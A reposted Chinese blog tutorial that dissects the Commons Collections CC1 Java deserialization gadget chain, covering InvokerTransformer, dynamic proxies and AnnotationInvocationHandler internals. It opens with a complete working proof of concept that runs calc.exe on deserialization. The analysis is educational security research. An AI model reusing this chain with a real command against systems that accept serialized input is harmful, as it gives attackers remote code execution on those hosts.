Java反序列化漏洞研究前序: Transformer、动态代理与注解

admin 2023年6月5日14:31:54评论12 views字数 18531阅读61分46秒阅读模式

扫码领资料

获网安教程

免费&进群

Java反序列化漏洞研究前序: Transformer、动态代理与注解
Java反序列化漏洞研究前序: Transformer、动态代理与注解

2022-01-30

今年给自己定了一个研究清楚Java反序列化漏洞的KPI,反序列化漏洞本身原理并不复杂,但是网上的资料都不甚满意,大部分都是只是知道怎么用别人的PoC,并没有对具体的原理做深入的分析和思考,特别是Commons Collections一系列的分析,非常不满意,比如反序列化为什么需要有自己的readObject、为什么AnnotationInvocationHandler的第一个参数为Override.class和Target.class都可以。最终我决定自己深入分析各个知识点。最主要是分析动态代理和注解,但是为了完整第一部分会分析Transformer。

PoC

首先,先放上最基本的Commons Collections的PoC,如下代码会直接弹出计算器。

  1. public static void main(String[] args) throws Exception {

  2. Transformer[] transformers = {

  3. new ConstantTransformer(Runtime.class),

  4. new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),

  5. new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Class[]{Runtime.class, null}),

  6. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})

  7. };

  8. Transformer chain = new ChainedTransformer(transformers);

  9. Map innerMap = new HashMap();

  10. innerMap.put("value","test");

  11. Map outerMap = TransformedMap.decorate(innerMap, null, chain);

  12. Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

  13. Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);

  14. ctor.setAccessible(true);

  15. Object instance = ctor.newInstance(Retention.class ,outerMap);

  16. //序列化

  17. FileOutputStream fos = new FileOutputStream("cc1");

  18. ObjectOutputStream oos = new ObjectOutputStream(fos);

  19. oos.writeObject(instance);

  20. oos.close();

  21. //反序列化

  22. FileInputStream fis = new FileInputStream("cc1");

  23. ObjectInputStream ois = new ObjectInputStream(fis);

  24. ois.readObject();

  25. ois.close();

  26. }

Transformer

Commons Collections里面提供了一个强大的接口叫做Transformer,顾名思义,这个接口用来实现一种转换,其中的InvokerTransformer特别重要,它会调用指定的函数进行转换,下面是使用该Transformer的一个例子。

  1. public class Main {

  2. public static void main(String[] args) {

  3. HashMap<String, String> a = new HashMap<>();

  4. Transformer keyTrans = new InvokerTransformer("concat", new Class[]{String.class}, new Object[]{"A"});

  5. Transformer valueTrans = new InvokerTransformer("toUpperCase", new Class[]{}, new Object[]{});

  6. Map b = TransformedMap.decorate(a, keyTrans, valueTrans);

  7. b.put("a", "aaa");

  8. b.put("b", "bbb");

  9. b.put("c", "ccc");

  10. Iterator it = b.entrySet().iterator();

  11. while(it.hasNext()) {

  12. Map.Entry entry = (Map.Entry)it.next();

  13. System.out.println("key="+entry.getKey()+",value="+entry.getValue());

  14. }

  15. }

  16. }

输出如下:

  1. key=cA,value=CCC

  2. key=bA,value=BBB

  3. key=aA,value=AAA

InvokerTransformer类的构造函数有三个参数,第一个是方法名,第二个是该方法的参数类型,第三个是传递给该方法的参数。TransformedMap.decorate的第一个参数是需要修饰的map,第二个是key所使用的Transformer,第三个是value所使用的Transformer。经过如此配置之后,当我们从被”decorate”之后的map(b)添加元素的时候,每一个添加的元素都会被经过“修饰”之后放到map(a)中去。

直接看TransformedMap的源码:

  1. public Object put(Object key, Object value) {

  2. key = this.transformKey(key);

  3. value = this.transformValue(value);

  4. return this.getMap().put(key, value);

  5. }

  6. protected Object transformKey(Object object) {

  7. return this.keyTransformer == null ? object : this.keyTransformer.transform(object);

  8. }

  9. protected Object transformValue(Object object) {

  10. return this.valueTransformer == null ? object : this.valueTransformer.transform(object);

  11. }

接着看看InvokerTransformer类的transform实现:

  1. public Object transform(Object input) {

  2. if (input == null) {

  3. return null;

  4. } else {

  5. try {

  6. Class cls = input.getClass();

  7. Method method = cls.getMethod(this.iMethodName, this.iParamTypes);

  8. return method.invoke(input, this.iArgs);

  9. } catch (NoSuchMethodException var5) {

  10. throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");

  11. } catch (IllegalAccessException var6) {

  12. throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");

  13. } catch (InvocationTargetException var7) {

  14. throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);

  15. }

  16. }

  17. }

这段代码就是Commons Collections的核心的,本质上就是调用了参数input对应的类型的任意method方法,iMethodName、iParamTypes以及iArgs是InvokerTransformer在构造时候提供的参数。

回到PoC,其中我们使用了ChainedTransformer,代码如下:

  1. Transformer chain = new ChainedTransformer(transformers);

  2. Map innerMap = new HashMap();

  3. innerMap.put("value","test");

  4. Map outerMap = TransformedMap.decorate(innerMap, null, chain);

ChainedTransformer的transform实现如下:

  1. public Object transform(Object object) {

  2. for(int i = 0; i < this.iTransformers.length; ++i) {

  3. object = this.iTransformers[i].transform(object);

  4. }

  5. return object;

  6. }

其本质是将iTransformers(通过构造ChainedTransformer指定)逐个调用transform,前一个的返回结果作为后一个的参数。结合transformers的定义:

  1. Transformer[] transformers = {

  2. new ConstantTransformer(Runtime.class),

  3. new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),

  4. new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Class[]{Runtime.class, null}),

  5. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})

  6. };

ConstantTransformer的transform仅为返回参数对应的Object,对于使用transformers来进行装饰的map,其transform的过程如下:

  1. Runtime.class表示class Runtime,第一个链返回自身

  2. Runtime.class本身是一个class Class的实例,并且Class是由getMethod方法的,所以在第一个InvokerTransformer会中在Runtime.class上调用getMethod参数设置为getRuntime,这样,获得了一个Method对象(getRuntime)

  3. 在第二个InvokerTransformer会调用getRuntime这个Method的invoke方法,这样返回了一个Runtime对象

  4. 在第三个InvokerTransformer会调用Runtime的exec函数,并且传递参数calc.exe,这样就达到了执行代码的目的。

这个过程本质上如图所示。

  1. Object obj0 = Runtime.class;

  2. Class cls1 = obj0.getClass();

  3. Method method1 = cls1.getMethod("getMethod", new Class[]{String.class, Class[].class});

  4. Object obj1 = method1.invoke(obj0, "getRuntime", new Class[0]);

  5. Class cls2 = obj1.getClass();

  6. Method method2 = cls2.getMethod("invoke", new Class[]{Object.class, Object[].class});

  7. Object obj2 = method2.invoke( obj1, null, new Object[0]);

  8. Class cls3 = obj2.getClass();

  9. Method method3 = cls3.getMethod("exec", new Class[]{String.class});

  10. Object obj3 = method3.invoke(obj2, "calc.exe");

下面是调试结果:

Java反序列化漏洞研究前序: Transformer、动态代理与注解

动态代理

动态代理的例子网上很多,随便找一个例子来分析。

  1. interface HelloInterface {

  2. void sayHello();

  3. }

  4. class Hello implements HelloInterface{

  5. @Override

  6. public void sayHello() {

  7. System.out.println("Hello world!");

  8. }

  9. }

  10. class ProxyHandler implements InvocationHandler {

  11. private Object object;

  12. public ProxyHandler(Object object){

  13. this.object = object;

  14. }

  15. @Override

  16. public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

  17. System.out.println("Before invoke " + method.getName());

  18. method.invoke(object, args);

  19. System.out.println("After invoke " + method.getName());

  20. return null;

  21. }

  22. }

  23. public class Main {

  24. public static void main(String[] args) throws Exception {

  25. System.getProperties().setProperty("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");

  26. HelloInterface hello = new Hello();

  27. InvocationHandler handler = new ProxyHandler(hello);

  28. HelloInterface proxyHello = (HelloInterface) Proxy.newProxyInstance(hello.getClass().getClassLoader(), hello.getClass().getInterfaces(), handler);

  29. proxyHello.sayHello();

  30. System.out.println(proxyHello);

  31. }

  32. }

输出如下,可见通过proxyHello对象调用的函数都会经过我们的ProxyHandler代理。

  1. Before invoke sayHello

  2. Hello world!

  3. After invoke sayHello

  4. Before invoke toString

  5. After invoke toString

  6. null

通过调试可知,此时proxyHello本质上是一个实现了HelloInterface的$Proxy0类型对象,$Proxy0是内部生成的。

Java反序列化漏洞研究前序: Transformer、动态代理与注解

在目录下找到该文件查看内容如下,可见该自动生成的Proxy类实现了HelloInterface,其成员函数包含HelloInterface的接口sayHello以及所有Object接口的几个基本函数,其实现均为调用了super.h.invoke函数,这个函数就是代理handler(这里的ProxyHandler)需要实现的函数。

  1. public final class $Proxy0 extends Proxy implements HelloInterface {

  2. private static Method m3;

  3. private static Method m1;

  4. private static Method m0;

  5. private static Method m2;

  6. public $Proxy0(InvocationHandler var1) throws {

  7. super(var1);

  8. }

  9. public final void sayHello() throws {

  10. try {

  11. super.h.invoke(this, m3, (Object[])null);

  12. } catch (RuntimeException | Error var2) {

  13. throw var2;

  14. } catch (Throwable var3) {

  15. throw new UndeclaredThrowableException(var3);

  16. }

  17. }

  18. public final boolean equals(Object var1) throws {

  19. try {

  20. return (Boolean)super.h.invoke(this, m1, new Object[]{var1});

  21. } catch (RuntimeException | Error var3) {

  22. throw var3;

  23. } catch (Throwable var4) {

  24. throw new UndeclaredThrowableException(var4);

  25. }

  26. }

  27. public final int hashCode() throws {

  28. try {

  29. return (Integer)super.h.invoke(this, m0, (Object[])null);

  30. } catch (RuntimeException | Error var2) {

  31. throw var2;

  32. } catch (Throwable var3) {

  33. throw new UndeclaredThrowableException(var3);

  34. }

  35. }

  36. public final String toString() throws {

  37. try {

  38. return (String)super.h.invoke(this, m2, (Object[])null);

  39. } catch (RuntimeException | Error var2) {

  40. throw var2;

  41. } catch (Throwable var3) {

  42. throw new UndeclaredThrowableException(var3);

  43. }

  44. }

  45. static {

  46. try {

  47. m3 = Class.forName("test.com.company.HelloInterface").getMethod("sayHello");

  48. m1 = Class.forName("java.lang.Object").getMethod("equals", Class.forName("java.lang.Object"));

  49. m0 = Class.forName("java.lang.Object").getMethod("hashCode");

  50. m2 = Class.forName("java.lang.Object").getMethod("toString");

  51. } catch (NoSuchMethodException var2) {

  52. throw new NoSuchMethodError(var2.getMessage());

  53. } catch (ClassNotFoundException var3) {

  54. throw new NoClassDefFoundError(var3.getMessage());

  55. }

  56. }

  57. }

回到例子中这一句:

  1. (HelloInterface) Proxy.newProxyInstance(hello.getClass().getClassLoader(), hello.getClass().getInterfaces(), handler);

可以看到newProxyInstance的参数,第一个是加载器,第二个是interfaces,第三个是处理handler,这里可以看到代理其实是绑定到interface的,跟具体实现Hello是没有关系的。所以我们的例子可以简化为如下:

  1. interface HelloInterface {

  2. void sayHello();

  3. }

  4. class ProxyHandler implements InvocationHandler {

  5. @Override

  6. public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

  7. System.out.println("Before invoke " + method.getName());

  8. System.out.println(method.getName()+" is called");

  9. System.out.println("After invoke " + method.getName());

  10. return "test";

  11. }

  12. }

  13. public class Main {

  14. public static void main(String[] args) throws Exception {

  15. System.getProperties().setProperty("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");

  16. InvocationHandler handler = new ProxyHandler();

  17. HelloInterface proxyHello = (HelloInterface) Proxy.newProxyInstance(HelloInterface.class.getClassLoader(), new Class[]{HelloInterface.class}, handler);

  18. proxyHello.sayHello();

  19. System.out.println(proxyHello);

  20. }

  21. }

输出如下:

  1. Before invoke sayHello

  2. sayHello is called

  3. After invoke sayHello

  4. Before invoke toString

  5. toString is called

  6. After invoke toString

  7. test

这个时候再去看生成的$Proxy0.class,内容其实是一样的。所以本质上,Proxy是为需要代理的接口生成了一个类,返回该的对象,用户可以通过该对象调用对应的接口,最终会调用到用户指定的handler中去。

Java注解实现

本质上理解Java注解是为了理解Commons Collections中搞的AnnotationInvocationHandler的用法。Java的注解是代码级别的注释,之所以说是注释是因为注解本身并不影响被注解代码的运行表现,之所以说是代码层面的,是因为注解也是会生成代码的,可以在运行时后获取注解,做一些判断、检查类的工作,比如Java编译时候使用。注解分为普通注解和元注解,普通注解比如@Override、@Deprecated用来作用在代码上,元注解比如@Retention、@Target等用来作用在程序员自定义的注解上。下面的代码,我们自己定义了两个注解,一个作用在类上,一个作用在方法上,并且自定义的Person类使用了这两个注解。

  1. @Retention(RetentionPolicy.RUNTIME)

  2. @Target(ElementType.TYPE)

  3. @interface AnnType {

  4. String msg() default "type";

  5. }

  6. @Retention(RetentionPolicy.RUNTIME)

  7. @Target(ElementType.METHOD)

  8. @interface AnnMethod {

  9. String msg() default "method";

  10. }

  11. @AnnType(msg="xaa")

  12. class Person {

  13. String name;

  14. int age;

  15. public Person() {

  16. name = "aa";

  17. age = 12;

  18. }

  19. public void print() {

  20. System.out.println(name);

  21. }

  22. @AnnMethod

  23. public String to_string() {

  24. return "Person{" +

  25. "name='" + name + ''' +

  26. '}';

  27. }

  28. }

  29. public class Main {

  30. public static void main(String[] args) throws Exception {

  31. System.setProperty("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");

  32. System.out.println(new Person().to_string());

  33. }

  34. }

输出如下:

  1. Person{name='aa'}

可以看到注解并没有影响到代码功能。

每一个注解实现为一个interface

下面的代码:

  1. Class<?> annTypecls = AnnType.class;

  2. Class<?>[] panntype = annTypecls.getInterfaces();

Java反序列化漏洞研究前序: Transformer、动态代理与注解

注解的使用

看看注解的使用:

  1. AnnType annType = Person.class.getAnnotation(AnnType.class);

  2. String annTypeValue = annType.msg();

  3. AnnMethod annMethod = Person.class.getMethod("to_string", new Class[0]).getAnnotation(AnnMethod.class);

  4. String annMethodValue = annMethod.msg();

  5. System.out.println("annTypevalue = " + annTypeValue+", annMethodValue = " + annMethodValue);

输出:

  1. annTypevalue = xaa, annMethodValue = method

对比例子代码,可以看到Class的注解为我们制定的值xaa,Method的注解为默认值method。我们已经知道注解是一个interface,那么Class/Method.getAnnotation返回必定是一个实现了这个interface的类。通过调试可以看到getAnnotation返回的是一个代理类型的对象。这就是我们在第二节中说的动态代理,并且其handler为AnnotationInvocationHandler。

Java反序列化漏洞研究前序: Transformer、动态代理与注解

Annotation实现

这一节跟随

  1. Person.class.getAnnotation(AnnType.class);

研究Annotation的实现。

Class对象有一个annotations成员,保存了类型的注解信息,annotations是一个Map,key为注解Class,value为实现了Annotation的动态代理类。getAnnotation实现如下,initAnnotationsIfNecessary用来初始化annotations,仅会在第一次调用时执行实际工作。当annotations有值时,直接通过annotationClass查询Map返回即可。

  1. Map<Class<? extends Annotation>, Annotation> annotations;

  2. public <A extends Annotation> A getAnnotation(Class<A> annotationClass) {

  3. if (annotationClass == null)

  4. throw new NullPointerException();

  5. initAnnotationsIfNecessary();

  6. return (A) annotations.get(annotationClass);

  7. }

initAnnotationsIfNecessary的实现如下:

  1. private synchronized void initAnnotationsIfNecessary() {

  2. clearAnnotationCachesOnClassRedefinition();

  3. if (annotations != null)

  4. return;

  5. declaredAnnotations = AnnotationParser.parseAnnotations(

  6. getRawAnnotations(), getConstantPool(), this);

  7. Class<?> superClass = getSuperclass();

  8. if (superClass == null) {

  9. annotations = declaredAnnotations;

  10. } else {

  11. annotations = new HashMap<>();

  12. superClass.initAnnotationsIfNecessary();

  13. for (Map.Entry<Class<? extends Annotation>, Annotation> e : superClass.annotations.entrySet()) {

  14. Class<? extends Annotation> annotationClass = e.getKey();

  15. if (AnnotationType.getInstance(annotationClass).isInherited())

  16. annotations.put(annotationClass, e.getValue());

  17. }

  18. annotations.putAll(declaredAnnotations);

  19. }

  20. }

从上述代码可知,Class类其实还有一个成员declaredAnnotations,这个成员保存的是Class自身的注解声明,如果没有父类,那么annotations和declaredAnnotations保存的是一样的数据,如果有父类,initAnnotationsIfNecessary还会将父类的注解放到annotations中。重点来到了如下调用:

  1. declaredAnnotations = AnnotationParser.parseAnnotations(

  2. getRawAnnotations(), getConstantPool(), this);

一路跟进,经过parseAnnotations->parseAnnotations2->parseAnnotation2,最后一个函数完成实际的注解解析工作。

  1. private static Annotation parseAnnotation2(ByteBuffer var0, ConstantPool var1, Class<?> var2, boolean var3, Class<? extends Annotation>[] var4) {

  2. int var5 = var0.getShort() & 'uffff';

  3. Class var6 = null;

  4. String var7 = "[unknown]";

  5. try {

  6. try {

  7. var7 = var1.getUTF8At(var5);//var7为类名 Ltest/com/company/AnnType;

  8. var6 = parseSig(var7, var2);//var6为 interface test.com.company.AnnType

  9. } catch (IllegalArgumentException var18) {

  10. var6 = var1.getClassAt(var5);

  11. }

  12. }...

  13. if (var4 != null && !contains(var4, var6)) {

  14. skipAnnotation(var0, false);

  15. return null;

  16. } else {

  17. AnnotationType var8 = null;

  18. try {

  19. var8 = AnnotationType.getInstance(var6);//var8为AnnotationType

  20. } catch (IllegalArgumentException var17) {

  21. skipAnnotation(var0, false);

  22. return null;

  23. }

  24. Map var9 = var8.memberTypes();

  25. LinkedHashMap var10 = new LinkedHashMap(var8.memberDefaults());

  26. int var11 = var0.getShort() & 'uffff';

  27. for(int var12 = 0; var12 < var11; ++var12) {

  28. int var13 = var0.getShort() & 'uffff';

  29. String var14 = var1.getUTF8At(var13);

  30. Class var15 = (Class)var9.get(var14);

  31. if (var15 == null) {

  32. skipMemberValue(var0);

  33. } else {

  34. Object var16 = parseMemberValue(var15, var0, var1, var2);

  35. if (var16 instanceof AnnotationTypeMismatchExceptionProxy) {

  36. ((AnnotationTypeMismatchExceptionProxy)var16).setMember((Method)var8.members().get(var14));

  37. }

  38. var10.put(var14, var16);

  39. }

  40. }

  41. return annotationForMap(var6, var10);

  42. }

  43. }

前面提到注解是一个继承自Annotation的interface,这里新出现了AnnotationType,这个是类中存放的是注解的信息。这里简单介绍一下该结构体,其中三个最主要的成为如下三个Map。

  1. private final Map<String, Class<?>> memberTypes;

  2. private final Map<String, Object> memberDefaults;

  3. private final Map<String, Method> members;

第一个memberTypes存放的是名字到Class的对应关系,第二个memberDefaults存放的是名字到默认值的对应关系,第三个members存放的是名字到方法的对应关系。以我们例子的AnnType注解为例,成员如下:

Java反序列化漏洞研究前序: Transformer、动态代理与注解

AnnotationType是通过AnnotationType.getInstance创建的,parseAnnotation2调用了该函数。parseAnnotation2最后的for循环是将注解的默认值替换为实际值。比如AnnType的默认值是type,但是在Person中被设置为了xaa。

parseAnnotation2的最后来到了annotationForMap。

  1. public static Annotation annotationForMap(Class<? extends Annotation> var0, Map<String, Object> var1) {

  2. return (Annotation)Proxy.newProxyInstance(var0.getClassLoader(), new Class[]{var0}, new AnnotationInvocationHandler(var0, var1));

  3. }

annotationForMap创建了动态代理,这里的var0参数是AnnType的Class对象,var1是一个LinkedHashMap,里面保存了各个注解名称与值。比如Person类的注解内容”msg”->”xaa”。handler为AnnotationInvocationHandler。

  1. AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {

  2. Class[] var3 = var1.getInterfaces();

  3. if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {

  4. this.type = var1;

  5. this.memberValues = var2;

  6. } else {

  7. throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");

  8. }

  9. }

构造函数将Annotation的type信息和各个注解key-value保存到了memberValues中。

当测试例子中调用annMethod.msg()时,会调用到代理类中的invoke,代理类会调用handler的invoke,AnnotationInvocationHandler的invoke如下。

  1. public Object invoke(Object var1, Method var2, Object[] var3) {

  2. String var4 = var2.getName();

  3. Class[] var5 = var2.getParameterTypes();

  4. if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {

  5. return this.equalsImpl(var3[0]);

  6. } else if (var5.length != 0) {

  7. throw new AssertionError("Too many parameters for an annotation method");

  8. } else {

  9. byte var7 = -1;

  10. switch(var4.hashCode()) {

  11. case -1776922004:

  12. if (var4.equals("toString")) {

  13. var7 = 0;

  14. }

  15. break;

  16. case 147696667:

  17. if (var4.equals("hashCode")) {

  18. var7 = 1;

  19. }

  20. break;

  21. case 1444986633:

  22. if (var4.equals("annotationType")) {

  23. var7 = 2;

  24. }

  25. }

  26. switch(var7) {

  27. case 0:

  28. return this.toStringImpl();

  29. case 1:

  30. return this.hashCodeImpl();

  31. case 2:

  32. return this.type;

  33. default:

  34. Object var6 = this.memberValues.get(var4);

  35. if (var6 == null) {

  36. throw new IncompleteAnnotationException(this.type, var4);

  37. } else if (var6 instanceof ExceptionProxy) {

  38. throw ((ExceptionProxy)var6).generateException();

  39. } else {

  40. if (var6.getClass().isArray() && Array.getLength(var6) != 0) {

  41. var6 = this.cloneArray(var6);

  42. }

  43. return var6;

  44. }

  45. }

  46. }

  47. }

可以看到对于非内置的函数调用,通过var4得到方法名,接着在this.memberValues这个Map中查找,进而得到value返回。

PoC分析

在PoC中,本质上写入文件的是AnnotationInvocationHandler的一个实例,其中参数是Retention.class和一个TransformedMap。正向思考,这里意思是构建一个处理Retention注解的AnnotationInvocationHandler,并且其对应的Map为TransformedMap。当然这里的TransformedMap的状态,比如transformers也会被写入到文件中。

当进行反序列化时,AnnotationInvocationHandler有自己的readObject,该函数会被调用。

  1. private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {

  2. var1.defaultReadObject();

  3. AnnotationType var2 = null;

  4. try {

  5. var2 = AnnotationType.getInstance(this.type);

  6. } catch (IllegalArgumentException var9) {

  7. throw new InvalidObjectException("Non-annotation type in annotation serial stream");

  8. }

  9. Map var3 = var2.memberTypes();

  10. Iterator var4 = this.memberValues.entrySet().iterator();

  11. while(var4.hasNext()) {

  12. Entry var5 = (Entry)var4.next();

  13. String var6 = (String)var5.getKey();

  14. Class var7 = (Class)var3.get(var6);

  15. if (var7 != null) {

  16. Object var8 = var5.getValue();

  17. if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {

  18. var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));

  19. }

  20. }

  21. }

  22. }

var1.defaultReadObject首先调用默认的反序列化函数,这样就将AnnotationInvocationHandler准备好了。

Java反序列化漏洞研究前序: Transformer、动态代理与注解

接下来得到Retention注解的AnnotationType结构体。

Java反序列化漏洞研究前序: Transformer、动态代理与注解

Retention是一个元注解,所以这里的AnnotationType是根据如下定义得到的。

  1. @Documented

  2. @Retention(RetentionPolicy.RUNTIME)

  3. @Target(ElementType.ANNOTATION_TYPE)

  4. public @interface Retention {

  5. RetentionPolicy value();

  6. }

现在,var3这个Map保存的是正儿八经的Retention注解的成员类型信息,其中key为”value”, value为”RetentionPolicy”这是一个自定义的类。接下来对我们反序列化出来的this.memberValues的Map进行循环。本质上判断反序列化出来的value的类型是不是跟生成的AnnotationType的memberTypes能对得上。由于我们在序列化构建AnnotationInvocationHandler指定的Map里面放了”value”=”test”, value的类型是String,而实际上根据AnnotationType的指示,这里需要的是一个RetentionPolicy,所以最终会调用var5.setValue,最终会调用到TransformedMap的checkSetValue函数。从而调用到了transform函数。

  1. protected Object checkSetValue(Object value) {

  2. return this.valueTransformer.transform(value);

  3. }

综上,AnnotationInvocationHandler的readObject其实本质上是在做一个校验,如果过不了这个判断,那么会调用Map的设置函数,从而触发了Transformer的transform的函数,进而执行了任意代码。

总结

本文通过一个Commons Collections的PoC详细讲解了涉及到的对于初学者比较难理解的概念,主要包括动态代理和注解实现。通过本文的分析,应该能够理解AnnotationInvocationHandler相关的Commons Collections的利用链。从本文的分析也可以看出,Commons Collections的利用还是比较复杂的,并不太适合初学者,其实Fastjson反序列化倒是没有这么复杂

来源:http://terenceli.github.io/技术/2022/01/30/java-dynamic-proxy-and-annotation

声明:中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@

学习更多渗透技能!体验靶场实战练习

Java反序列化漏洞研究前序: Transformer、动态代理与注解

hack视频资料及工具

Java反序列化漏洞研究前序: Transformer、动态代理与注解

(部分展示)

往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞

看到这里了,点个“赞”、“再看”吧


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月5日14:31:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java反序列化漏洞研究前序: Transformer、动态代理与注解https://cn-sec.com/archives/1783652.html

发表评论

匿名网友 填写信息